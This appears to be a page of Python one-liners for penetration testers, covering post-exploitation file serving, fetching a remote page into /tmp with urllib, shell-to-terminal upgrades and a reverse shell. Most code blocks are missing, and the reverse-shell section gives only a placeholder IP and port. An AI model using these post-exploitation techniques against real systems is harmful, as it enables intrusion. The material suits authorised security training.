Cool Python Tricks
Please do not use Python 2 and work using Python 3. However, I have added a few examples of the old ways of doing these operations in Python 2 for your reference only.
Starting a quick web server to serve some files (useful for post exploitation)
In Python 2.x
In Python 3.x
Pythonic Web Client
In Python 2.x
python -c 'import urllib2; print urllib2.urlopen("http://h4cker.org/web").read()' | tee /tmp/file.html
In Python 3.x
python3 -c 'import urllib.request; urllib.request.urlretrieve ("http://h4cker.org/web","/tmp/h4cker.html")'
Python Debugger
This imports a Python file and runs the debugger automatically. This is useful for debugging Python-based malware and for post-exploitation.
Refer to this Python Debugger cheatsheet if you are not familiar with the Python Debugger.
Shell to Terminal
This is useful after exploitation and getting a shell. It allows you to use Linux commands that require a terminal session (e.g., su, sudo, vi, etc.)
Using Python to do a Reverse Shell
You put your IP address (instead of 192.168.78.205) and the port (instead of 13337) below: